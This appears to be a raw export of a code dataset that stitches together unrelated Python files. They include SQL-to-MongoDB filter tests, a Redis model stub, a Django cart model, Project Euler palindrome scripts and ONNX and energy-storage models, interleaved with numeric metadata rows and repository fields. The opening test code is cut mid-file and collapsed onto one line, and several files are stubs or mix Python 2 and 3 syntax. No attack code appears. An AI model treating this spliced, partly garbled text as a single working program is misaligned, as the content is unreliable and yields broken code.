1 } }, { 'col1': { '$lte': 2 } } ] } self.params = [1, 2] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} (NOT ({filt_col1} = %s) AND {filt_col1} <= %s)' find_args['filter'] = { '$and': [ { 'col1': { '$not': { '$eq': 1 } } }, { 'col1': { '$lte': 2 } } ] } self.params = [1, 2] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} {filt_col1} <= %s AND NOT ({filt_col1} = %s)' find_args['filter'] = { '$and': [ { 'col1': { '$lte': 2 } }, { 'col1': { '$not': { '$eq': 1 } } } ] } self.params = [2, 1] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} NOT ({filt_col1} <= %s AND {filt_col1} = %s)' find_args['filter'] = { '$or': [ { 'col1': { '$not': { '$lte': 2 } } }, { 'col1': { '$not': { '$eq': 1 } } } ] } self.params = [2, 1] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} NOT ({filt_col1} <= %s OR {filt_col1} = %s)' find_args['filter'] = { '$and': [ { 'col1': { '$not': { '$lte': 2 } } }, { 'col1': { '$not': { '$eq': 1 } } } ] } self.params = [2, 1] self._mock() find.assert_any_call(**find_args) conn.reset_mock() self.sql = f'{where} NOT ({filt_col1} <= %s OR {filt_col1} = %s) AND {filt_col1} >= %s' find_args['filter'] = { '$and': [ { '$and': [ { 'col1': { '$not': { '$lte': 2 } } }, { 'col1': { '$not': { '$eq': 1 } } } ] }, { 'col1': { '$gte': 0 } }, ] } self.params = [2, 1, 0] self._mock() find.assert_any_call(**find_args) conn.reset_mock()
35.585561
942
0.487715
1,415
13,309
4.279152
0.10106
0.085384
0.098266
0.034352
0.796862
0.772089
0.739554
0.698596
0.678778
0.671511
0
0.013665
0.356676
13,309
374
943
35.585562
0.69353
0.002855
0
0.438066
0
0.039275
0.430369
0.171213
0
0
0
0.002674
0.048338
1
0.009063
false
0.012085
0.012085
0
0.024169
0.003021
0
0
0
null
0
0
0
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
7bb45017fcb5e8bbcc78a244559d6370f2680dcf
880
py
Python
redisun/models/setmodel.py
limen/pyredisun
11b9590968a18abbc15a4195737077360c638241
[ "MIT" ]
null
null
null
redisun/models/setmodel.py
limen/pyredisun
11b9590968a18abbc15a4195737077360c638241
[ "MIT" ]
null
null
null
redisun/models/setmodel.py
limen/pyredisun
11b9590968a18abbc15a4195737077360c638241
[ "MIT" ]
null
null
null
from redisun.models.vectormodel import VectorModel from redisun.querybuilder import QueryBuilder class SetModel(VectorModel): def _init_query_builder(self): self._query_builder = QueryBuilder(('class', 'id', 'members'), ('id',), ':') def create_xx(self, value, ttl=0): pass def create_nx(self, value, ttl=0): pass def update(self, value, ttl=0): return self.create_xx(value, ttl) def put(self, elements): pass def pull(self, elements): pass def first(self, with_ttl=False): pass def last(self, with_ttl=False): pass def all(self, with_ttl=False): pass def randone(self, with_ttl=False): pass def getset_one(self, members, ttl=0): pass def getset_all(self, members, ttl=0): pass
20.952381
84
0.582955
109
880
4.577982
0.321101
0.126253
0.064128
0.128257
0.340681
0.264529
0
0
0
0
0
0.008224
0.309091
880
41
85
21.463415
0.8125
0
0
0.37037
0
0
0.019318
0
0
0
0
0
0
1
0.444444
false
0.37037
0.074074
0.037037
0.592593
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
3
c8a241c686b6256e5e25b7975aaded1d68330ee9
259
py
Python
pychemia/code/octopus/__init__.py
petavazohi/PyChemia
e779389418771c25c830aed360773c63bb069372
[ "MIT" ]
67
2015-01-31T07:44:55.000Z
2022-03-21T21:43:34.000Z
pychemia/code/octopus/__init__.py
petavazohi/PyChemia
e779389418771c25c830aed360773c63bb069372
[ "MIT" ]
13
2016-06-03T19:07:51.000Z
2022-03-31T04:20:40.000Z
pychemia/code/octopus/__init__.py
petavazohi/PyChemia
e779389418771c25c830aed360773c63bb069372
[ "MIT" ]
37
2015-01-22T15:37:23.000Z
2022-03-21T15:38:10.000Z
""" Set of classes and functions to manipulate OCTOPUS 'inp' input files """ from .input import OctopusInput from .output import OctopusOutput from .run import OctopusRun from . import analysis # __all__ = filter(lambda s: not s.startswith('_'), dir())
16.1875
58
0.737452
34
259
5.470588
0.764706
0
0
0
0
0
0
0
0
0
0
0
0.166023
259
15
59
17.266667
0.861111
0.490347
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
3
c8aecceaf5b5132b6faf72ccd374d18e5589107f
275
py
Python
Wiener-Hopf Heston mex/scripts/profiler.py
inwise/Pyrgos-RFBR-
e139b56a8d05f668d609e1e48919827ebcfb3bbe
[ "Apache-2.0" ]
null
null
null
Wiener-Hopf Heston mex/scripts/profiler.py
inwise/Pyrgos-RFBR-
e139b56a8d05f668d609e1e48919827ebcfb3bbe
[ "Apache-2.0" ]
null
null
null
Wiener-Hopf Heston mex/scripts/profiler.py
inwise/Pyrgos-RFBR-
e139b56a8d05f668d609e1e48919827ebcfb3bbe
[ "Apache-2.0" ]
2
2019-07-04T08:18:07.000Z
2021-06-03T11:09:35.000Z
import time """ для измерения времени выполнения кода. """ class profiler(object): def __enter__(self): self._startTime = time.time() def __exit__(self, type, value, traceback): print("Elapsed time: {:.3f} sec".format(time.time() - self._startTime))
30.555556
79
0.661818
33
275
5.212121
0.69697
0.151163
0
0
0
0
0
0
0
0
0
0.004484
0.189091
275
9
79
30.555556
0.766816
0
0
0
0
0
0.104348
0
0
0
0
0
0
1
0.333333
false
0
0.166667
0
0.666667
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
3
c8ee19173ca355230bcde82e50f93fcb06151093
149
py
Python
Books/book3.py
morehwachege/Bookshelf
99e6c68df50b14aef05c0f48d4d4c2f5fbe79fb9
[ "MIT" ]
4
2021-03-16T13:26:53.000Z
2021-06-08T07:42:31.000Z
Books/book3.py
morehwachege/Bookshelf
99e6c68df50b14aef05c0f48d4d4c2f5fbe79fb9
[ "MIT" ]
null
null
null
Books/book3.py
morehwachege/Bookshelf
99e6c68df50b14aef05c0f48d4d4c2f5fbe79fb9
[ "MIT" ]
null
null
null
from book_function import scrapper link = 'https://manybooks.net/search-book?field_genre[30]=30' escape_plan = scrapper(link) print(escape_plan[0])
24.833333
61
0.785235
23
149
4.913043
0.73913
0.212389
0
0
0
0
0
0
0
0
0
0.036496
0.080537
149
6
62
24.833333
0.788321
0
0
0
0
0
0.346667
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0.25
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
cda642bde5d49e8b7be3f77180317546e62ab6c2
851
py
Python
apps/drl/drl_app.py
yt7589/iching
6673da38f4c80e7fd297c86fedc5616aee8ac09b
[ "Apache-2.0" ]
32
2020-04-14T08:32:18.000Z
2022-02-09T07:05:08.000Z
apps/drl/drl_app.py
yt7589/iching
6673da38f4c80e7fd297c86fedc5616aee8ac09b
[ "Apache-2.0" ]
1
2020-04-08T10:42:15.000Z
2020-04-15T01:38:03.000Z
apps/drl/drl_app.py
yt7589/iching
6673da38f4c80e7fd297c86fedc5616aee8ac09b
[ "Apache-2.0" ]
4
2020-08-25T03:56:46.000Z
2021-05-11T05:55:51.000Z
# from apps.drl.chp001.exp001_001 import Exp001001 from apps.drl.chp001.exp001_002 import Exp001002 from apps.drl.chp002.exp002_001 import Exp002001 from apps.drl.chpA01.chp_a01_main import ChpA01Main from apps.drl.chpA01.e02.chp_a01_e02_main import ChpA01E02Main from apps.drl.c02.c02_app import C02App from apps.drl.c03.c03_app import C03App from apps.drl.c04.c04_app import C04App from apps.drl.c06.c06_app import C06App from apps.drl.c13.c13_app import C13App class DrlApp(object): def __init__(self): self.refl = 'apps.drl.DrlApp' def startup(self): #exp = Exp001001() #exp = Exp001002() #exp = Exp002001() #exp = ChpA01Main() #exp = ChpA01Main() #app = C02App() #app = C03App() #app = C04App() #app = C06App() app = C13App() app.startup()
29.344828
62
0.675676
120
851
4.65
0.333333
0.137993
0.197133
0.060932
0.082437
0
0
0
0
0
0
0.188253
0.219741
851
29
63
29.344828
0.652108
0.168038
0
0
0
0
0.021459
0
0
0
0
0
0
1
0.125
false
0
0.625
0
0.8125
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
3
cdac38280ef4b1b31c9f908c39b1b40704354b7c
1,368
py
Python
pyzoo/zoo/pipeline/api/onnx/mapper/constant.py
abdolence/analytics-zoo
364856abcbe9aff7f7b6cf9b9f8648d51e07ca64
[ "Apache-2.0" ]
2,970
2017-06-08T00:24:43.000Z
2022-03-30T12:14:55.000Z
pyzoo/zoo/pipeline/api/onnx/mapper/constant.py
abdolence/analytics-zoo
364856abcbe9aff7f7b6cf9b9f8648d51e07ca64
[ "Apache-2.0" ]
3,530
2017-05-09T08:29:10.000Z
2022-03-21T02:11:45.000Z
pyzoo/zoo/pipeline/api/onnx/mapper/constant.py
abdolence/analytics-zoo
364856abcbe9aff7f7b6cf9b9f8648d51e07ca64
[ "Apache-2.0" ]
972
2017-05-09T07:03:50.000Z
2022-03-23T07:48:48.000Z
# # Copyright 2018 Analytics Zoo Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import bigdl.nn.layer as blayer import numpy as np import zoo.pipeline.api.keras.layers as zlayers from zoo.pipeline.api.onnx.mapper.operator_mapper import OperatorMapper from zoo.pipeline.api.onnx.onnx_helper import OnnxHelper from zoo.pipeline.api.onnx.onnx_loader import OnnxInput class ConstantMapper(OperatorMapper): def __init__(self, node, _params, _all_tensors): super(ConstantMapper, self).__init__(node, _params, _all_tensors) def _extract_model_inputs(self): """ :return: list of OnnxInput """ input = OnnxInput(name=self.op_name, zvalue=OnnxHelper.to_numpy(self.onnx_attr['value'])) return [self._to_zoo_input(input, is_constant=True)] def _to_tensor(self): return self.model_inputs[0].zvalue
36
97
0.747807
197
1,368
5.040609
0.553299
0.060423
0.056395
0.054381
0.074522
0.052367
0
0
0
0
0
0.007902
0.167398
1,368
37
98
36.972973
0.863916
0.429094
0
0
0
0
0.006729
0
0
0
0
0
0
1
0.214286
false
0
0.428571
0.071429
0.857143
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
0
1
0
0
3
cdb051f028889c4d8a24fc7986005e01b27b2f98
4,476
py
Python
Class/ClassesAndInheritance.py
eduardormonteiro/PythonPersonalLibrary
561733bb8305c4e25a08f99c28b60ec77251ad67
[ "MIT" ]
null
null
null
Class/ClassesAndInheritance.py
eduardormonteiro/PythonPersonalLibrary
561733bb8305c4e25a08f99c28b60ec77251ad67
[ "MIT" ]
null
null
null
Class/ClassesAndInheritance.py
eduardormonteiro/PythonPersonalLibrary
561733bb8305c4e25a08f99c28b60ec77251ad67
[ "MIT" ]
null
null
null
""" coding: utf-8 Created on 29/10/2020 @author: github.com/edrmonteiro From: MIT 6.00.1x Introduction to Computer Science and Programming Using Python """ class Animal(object): def __init__(self, age): self.age = age self.name = None def get_age(self): return self.age def get_name(self): return self.name def set_age(self, newage): self.age = newage def set_name(self, newname=""): self.name = newname def __str__(self): return "animal:"+str(self.name)+":"+str(self.age) class Cat(Animal): def speak(self): print("meow") def __str__(self): return "cat:"+str(self.name)+":"+str(self.age) class Rabbit(Animal): tag = 1 def __init__(self, age, parent1=None, parent2=None): Animal.__init__(self, age) self.parent1 = parent1 self.parent2 = parent2 self.rid = Rabbit.tag Rabbit.tag += 1 def get_rid(self): return str(self.rid).zfill(3) def get_parent1(self): return self.parent1 def get_parent2(self): return self.parent2 def speak(self): print("meep") def __add__(self, other): # returning object of same type as this class return Rabbit(0, self, other) def __eq__(self, other): parents_same = self.parent1.rid == other.parent1.rid \ and self.parent2.rid == other.parent2.rid parents_opposite = self.parent2.rid == other.parent1.rid \ and self.parent1.rid == other.parent2.rid return parents_same or parents_opposite def __str__(self): return "rabbit:"+str(self.name)+":"+str(self.age) class Person(Animal): def __init__(self, name, age): Animal.__init__(self, age) Animal.set_name(self, name) self.friends = [] def get_friends(self): return self.friends def add_friend(self, fname): if fname not in self.friends: self.friends.append(fname) def speak(self): print("hello") def age_diff(self, other): # alternate way: diff = self.age - other.age diff = self.get_age() - other.get_age() if self.age > other.age: print(self.name, "is", diff, "years older than", other.name) else: print(self.name, "is", -diff, "years younger than", other.name) def __str__(self): return "person:"+str(self.name)+":"+str(self.age) import random class Student(Person): def __init__(self, name, age, major=None): Person.__init__(self, name, age) self.major = major def change_major(self, major): self.major = major def speak(self): r = random.random() if r < 0.25: print("i have homework") elif 0.25 <= r < 0.5: print("i need sleep") elif 0.5 <= r < 0.75: print("i should eat") else: print("i am watching tv") def __str__(self): return "student:"+str(self.name)+":"+str(self.age)+":"+str(self.major) class MITPerson(Person): nextIdNum = 0 # next ID number to assign def __init__(self, name, age): Person.__init__(self, name, age) # initialize Person attributes # new MITPerson attribute: a unique ID number self.idNum = MITPerson.nextIdNum MITPerson.nextIdNum += 1 def getIdNum(self): return self.idNum # sorting MIT people uses their ID number, not name! def __lt__(self, other): return self.idNum < other.idNum class Grad(MITPerson): pass def isStudent(obj): return isinstance(obj,Student) or isinstance(obj,Grad) def isMITPerson(obj): return isinstance(obj,MITPerson) or isinstance(obj,Grad) # jelly = Cat(1) # jelly.set_name('Jelly') # tiger = Cat(1) # tiger.set_name('Tiger') # bean = Cat(0) # bean.set_name('Bean') # print(jelly) # jelly.speak() # blob = Animal(1) # peter = Rabbit(3) # peter.speak() # eduardo = Person('Eduardo', 46) # eduardo.speak() # enzo = Person('Enzo', 5) # eduardo.age_diff(enzo) # fred = Student('Fred', 18, 'Course VI') # peter = Rabbit(2) # peter.set_name('Peter') # hopsy = Rabbit(3) # hopsy.set_name('Hopsy') # cotton = Rabbit(1, peter, hopsy) # cotton.set_name('Cottontail') # mopsy = peter + hopsy # print(mopsy == cotton) p1 = MITPerson('Eduardo', 46) p2 = MITPerson('Enzo', 5) print(p1 > p2) print(isStudent(p1)) print(isMITPerson(p1)) debugStop = True
27.127273
79
0.606122
597
4,476
4.38861
0.251256
0.04542
0.032061
0.030534
0.119847
0.083206
0.029771
0
0
0
0
0.0217
0.258713
4,476
164
80
27.292683
0.767932
0.201966
0
0.179245
0
0
0.04413
0
0
0
0
0
0
1
0.292453
false
0.009434
0.009434
0.150943
0.54717
0.113208
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
cdc0b7acbbce1482c0f56c33c58923242ea185e5
1,308
py
Python
panobbgo/strategies/__init__.py
haraldschilly/panobbgo
eca7ce68333b186f82bf1227bb64235e3f1cb99c
[ "Apache-2.0" ]
1
2019-03-16T19:23:44.000Z
2019-03-16T19:23:44.000Z
panobbgo/strategies/__init__.py
haraldschilly/panobbgo
eca7ce68333b186f82bf1227bb64235e3f1cb99c
[ "Apache-2.0" ]
null
null
null
panobbgo/strategies/__init__.py
haraldschilly/panobbgo
eca7ce68333b186f82bf1227bb64235e3f1cb99c
[ "Apache-2.0" ]
1
2021-02-27T02:13:33.000Z
2021-02-27T02:13:33.000Z
# -*- coding: utf8 -*- # Copyright 2012 Harald Schilly <harald.schilly@univie.ac.at> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. r""" Strategies ========== This part outlines the coordination between the point-producing heuristics, the interaction with the cluster and the :class:`DB of evaluated points <panobbgo.core.Results>`. Basically, one or more threads produce points where to search, and another one consumes them and dispatches tasks. Subclass the :class:`~panobbgo.core.StrategyBase` class to implement a new strategy. .. inheritance-diagram:: panobbgo.strategies .. codeauthor:: Harald Schilly <harald.schilly@univie.ac.at> """ from __future__ import absolute_import from __future__ import unicode_literals from .rewarding import StrategyRewarding from .round_robin import StrategyRoundRobin
34.421053
74
0.778287
185
1,308
5.443243
0.627027
0.059583
0.037736
0.051639
0.0715
0.0715
0.0715
0
0
0
0
0.008
0.139908
1,308
37
75
35.351351
0.887111
0.844801
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.8
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
3
cdc9c21ac813246bcf2c5f22b098eaa345fb33b2
1,688
py
Python
tests/test_signature_parsing.py
devforfu/ancli
44ea37e756fb12221bfafc1ecae3b8ef46d84cce
[ "MIT" ]
1
2020-10-24T16:08:14.000Z
2020-10-24T16:08:14.000Z
tests/test_signature_parsing.py
devforfu/ancli
44ea37e756fb12221bfafc1ecae3b8ef46d84cce
[ "MIT" ]
null
null
null
tests/test_signature_parsing.py
devforfu/ancli
44ea37e756fb12221bfafc1ecae3b8ef46d84cce
[ "MIT" ]
null
null
null
from ancli import make_cli def test_function_signature_with_all_required_params(): def all_required(integer: int, floating: float, string: str): pass spec = make_cli(all_required, spec_only=True) assert len(spec) == 3 assert spec[0] == {'name': 'integer', 'type': int, 'required': True} assert spec[1] == {'name': 'floating', 'type': float, 'required': True} assert spec[2] == {'name': 'string', 'type': str, 'required': True} def test_function_signature_with_default_params(): def all_optional(x: int = 1, y: int = 2, z: int = 3): pass spec = make_cli(all_optional, spec_only=True) assert len(spec) == 3 assert spec[0] == {'name': 'x', 'type': int, 'default': 1} assert spec[1] == {'name': 'y', 'type': int, 'default': 2} assert spec[2] == {'name': 'z', 'type': int, 'default': 3} def test_function_signature_with_required_and_default_params(): def some_optional(first: int, second: bool = False): pass spec = make_cli(some_optional, spec_only=True) assert len(spec) == 2 assert spec[0] == {'name': 'first', 'type': int, 'required': True} assert spec[1] == {'name': 'second', 'type': bool, 'default': False} def test_function_signature_without_args(): def no_args(): pass spec = make_cli(no_args, spec_only=True) assert not spec def test_function_signature_without_annotations(): def no_annot(a, b=2.0, c=3): pass spec = make_cli(no_annot, spec_only=True) assert len(spec) == 3 assert spec[0] == {'name': 'a', 'type': str, 'required': True} assert spec[1] == {'name': 'b', 'type': float, 'default': 2.0} assert spec[2] == {'name': 'c', 'type': int, 'default': 3}
31.849057
75
0.634479
246
1,688
4.162602
0.207317
0.107422
0.073242
0.117188
0.46582
0.25293
0.226563
0.186523
0.120117
0.120117
0
0.019651
0.186019
1,688
52
76
32.461538
0.725619
0
0
0.09375
0
0
0.123223
0
0
0
0
0
0.5
1
0.3125
false
0.15625
0.03125
0
0.34375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
0
1
0
0
0
0
0
3
cdd3965bc608896f5e4af9e7a50c6ccacab01a5b
1,084
py
Python
cart/models.py
Zubby1/BuyIT_Lite
98a0df3372bf7bdf05d6e0929887618574b35edf
[ "MIT" ]
null
null
null
cart/models.py
Zubby1/BuyIT_Lite
98a0df3372bf7bdf05d6e0929887618574b35edf
[ "MIT" ]
null
null
null
cart/models.py
Zubby1/BuyIT_Lite
98a0df3372bf7bdf05d6e0929887618574b35edf
[ "MIT" ]
null
null
null
from django.db import models from catalog.models import Product class CartItem(models.Model): """ model class containing information each Product instance in the customer's shopping cart """ cart_id = models.CharField(max_length=50, db_index=True) date_added = models.DateTimeField(auto_now_add=True) quantity = models.IntegerField(default=1) product = models.ForeignKey(Product, unique=False, on_delete=models.CASCADE) class Meta: db_table = 'cart_items' ordering = ['date_added'] @property def total(self): return self.quantity * self.product.price @property def name(self): return self.product.name @property def price(self): return self.product.price def get_absolute_url(self): return self.product.get_absolute_url() def augment_quantity(self, quantity): """ called when a POST request comes in for a Product instance already in the shopping cart """ self.quantity = self.quantity + int(quantity) self.save()
30.971429
104
0.668819
135
1,084
5.259259
0.503704
0.056338
0.078873
0.088732
0
0
0
0
0
0
0
0.003663
0.244465
1,084
34
105
31.882353
0.863248
0.163284
0
0.125
0
0
0.023283
0
0
0
0
0
0
1
0.208333
false
0
0.083333
0.166667
0.708333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
cdd43ba74286f01bd4f28465863909e28b48d35f
134
py
Python
api/urls.py
gurupratap-matharu/midware
dead10bfcf5b2863783c0ec407ed5a0cf77dc7d7
[ "MIT" ]
null
null
null
api/urls.py
gurupratap-matharu/midware
dead10bfcf5b2863783c0ec407ed5a0cf77dc7d7
[ "MIT" ]
4
2021-04-08T20:10:01.000Z
2021-09-22T19:43:17.000Z
api/urls.py
gurupratap-matharu/midware
dead10bfcf5b2863783c0ec407ed5a0cf77dc7d7
[ "MIT" ]
null
null
null
from django.urls import path from api.views import RequestListAPIView urlpatterns = [ path('', RequestListAPIView.as_view()), ]
16.75
43
0.746269
15
134
6.6
0.733333
0
0
0
0
0
0
0
0
0
0
0
0.149254
134
7
44
19.142857
0.868421
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.4
0
0.4
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
a81137a63c9974f9fda49efbd0ecde794894ac1a
2,040
py
Python
prob0004.py
chadhs/project-euler
c19a81a98efee991cadb6a66eb1865088416201e
[ "BSD-3-Clause" ]
null
null
null
prob0004.py
chadhs/project-euler
c19a81a98efee991cadb6a66eb1865088416201e
[ "BSD-3-Clause" ]
null
null
null
prob0004.py
chadhs/project-euler
c19a81a98efee991cadb6a66eb1865088416201e
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python from timeit import timeit def is_palindrome(number): num_str = str(number) return num_str == num_str[::-1] def get_products(): # lists and sorting method products = [] palindromes = [] for num in range(100, 1000): for num2 in range(100, 1000): products.append(num * num2) for product in products: if is_palindrome(product): palindromes.append(product) palindromes.sort() return palindromes[-1] print get_products() print 'runtime = ' + str(timeit(get_products, number=1)) def get_products(): # on the fly check with no lists, update value max_palindrome = 0 for num in range(100, 1000): for num2 in range(100, 1000): p = num * num2 if is_palindrome(p): if p > max_palindrome: max_palindrome = p return max_palindrome print get_products() print 'runtime = ' + str(timeit(get_products, number=1)) """ idea start with the largest numbers and as soon as you find a palindrome stop and return the value. """ def get_products(): # start ranges high, break after finding smaller result max_palindrome = 0 for num in range(999, 99, -1): for num2 in range(999, 99, -1): p = num * num2 if is_palindrome(p): if p < max_palindrome: break else: max_palindrome = p else: continue return max_palindrome print get_products() print 'runtime = ' + str(timeit(get_products, number=1)) def get_products(): # start ranges high, break after finding smaller result max_palindrome = 0 for num in range(999, 99, -1): for num2 in range(999, 99, -1): p = num * num2 if p < max_palindrome: break if is_palindrome(p): max_palindrome = p return max_palindrome print get_products() print 'runtime = ' + str(timeit(get_products, number=1))
22.417582
76
0.592157
265
2,040
4.437736
0.249057
0.112245
0.047619
0.044218
0.638605
0.618197
0.618197
0.606293
0.606293
0.606293
0
0.049569
0.317647
2,040
90
77
22.666667
0.795259
0.097059
0
0.745455
0
0
0.023121
0
0
0
0
0
0
0
null
null
0
0.018182
null
null
0.145455
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
3
b522cdc78af24c5de525e3afd2f108ecac39074b
188
py
Python
recipes/nudeclassifier/predictor.py
notAI-tech/fastDeploy-core
011f4cba2d2b018efe0a5548978e290225f2e745
[ "MIT" ]
null
null
null
recipes/nudeclassifier/predictor.py
notAI-tech/fastDeploy-core
011f4cba2d2b018efe0a5548978e290225f2e745
[ "MIT" ]
1
2020-04-12T13:36:22.000Z
2020-04-12T13:36:22.000Z
recipes/nudeclassifier/predictor.py
notAI-tech/fastDeploy-core
011f4cba2d2b018efe0a5548978e290225f2e745
[ "MIT" ]
null
null
null
from nudenet import NudeClassifier m = NudeClassifier() def predictor(x, batch_size=2, extras=[]): preds = m.classify(x, batch_size=batch_size) return [preds.get(_) for _ in x]
20.888889
48
0.707447
27
188
4.740741
0.666667
0.210938
0.15625
0
0
0
0
0
0
0
0
0.00641
0.170213
188
8
49
23.5
0.814103
0
0
0
0
0
0
0
0
0
0
0
0
1
0.2
false
0
0.2
0
0.6
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
b533f5625a0a6e961413ccf5581ef00243068d36
26
py
Python
scripts/export/genomes/__init__.py
Rfam/rfam-production
36f3963380da2a08e9cf73c951691c4e95738ac4
[ "Apache-2.0" ]
7
2016-06-17T09:21:11.000Z
2021-10-13T20:25:06.000Z
scripts/export/genomes/__init__.py
mb1069/rfam-production
10c76e249dc22d30862b3a873fd54f390e859ad8
[ "Apache-2.0" ]
82
2016-04-08T10:51:32.000Z
2022-03-11T13:49:18.000Z
scripts/export/genomes/__init__.py
mb1069/rfam-production
10c76e249dc22d30862b3a873fd54f390e859ad8
[ "Apache-2.0" ]
3
2019-09-01T09:46:35.000Z
2021-11-29T08:01:58.000Z
__all__ = ['genome_fetch']
26
26
0.730769
3
26
4.666667
1
0
0
0
0
0
0
0
0
0
0
0
0.076923
26
1
26
26
0.583333
0
0
0
0
0
0.444444
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
b54093f68b3d68586d60e9d627a3436ba981225c
1,324
py
Python
energystoragetechnologies/models.py
xiaoshir/EnergyStorageTechnologies
0298073d7bbd267919c6f08af4f24ca85168d629
[ "BSD-3-Clause" ]
null
null
null
energystoragetechnologies/models.py
xiaoshir/EnergyStorageTechnologies
0298073d7bbd267919c6f08af4f24ca85168d629
[ "BSD-3-Clause" ]
null
null
null
energystoragetechnologies/models.py
xiaoshir/EnergyStorageTechnologies
0298073d7bbd267919c6f08af4f24ca85168d629
[ "BSD-3-Clause" ]
null
null
null
from energystoragetechnologies import db class Technology(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), unique=True, nullable=False) parameter = db.relationship('Parameter', backref='technology', lazy=True) level = db.Column(db.Integer, nullable=False) description = db.Column(db.String(10000)) diagram = db.Column(db.String(1000)) diagram_description = db.Column(db.String(10000)) diagram_source_id = db.Column(db.Integer, db.ForeignKey('source.id'), nullable=False) applications = db.Column(db.String(10000)) def __repr__(self): return self.name class Parameter(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(50), nullable=False) value = db.Column(db.Float) technology_name = db.Column(db.String, db.ForeignKey('technology.name'), nullable=False) source_id = db.Column(db.Integer, db.ForeignKey('source.id'), nullable=False) unit = db.Column(db.String(50)) class Source(db.Model): id = db.Column(db.Integer, primary_key=True) link = db.Column(db.String(1000)) articletitle = db.Column(db.String(1000)) author = db.Column(db.String(1000)) releaseyear = db.Column(db.Integer) parameter = db.relationship('Parameter', backref='source', lazy=True)
41.375
92
0.705438
183
1,324
5.038251
0.229508
0.164859
0.206074
0.190889
0.623644
0.388286
0.388286
0.303688
0.303688
0.303688
0
0.032743
0.146526
1,324
32
93
41.375
0.783186
0
0
0.111111
0
0
0.050566
0
0
0
0
0
0
1
0.037037
false
0
0.037037
0.037037
1
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
b556a16d6e5029ac769a73bd2ed70eddbaaa64df
954
py
Python
dialogue_system/dialogue_management/state.py
syugoing/communication
82296561ff525aac0fea0ff38c7660699430ed79
[ "MIT" ]
null
null
null
dialogue_system/dialogue_management/state.py
syugoing/communication
82296561ff525aac0fea0ff38c7660699430ed79
[ "MIT" ]
null
null
null
dialogue_system/dialogue_management/state.py
syugoing/communication
82296561ff525aac0fea0ff38c7660699430ed79
[ "MIT" ]
null
null
null
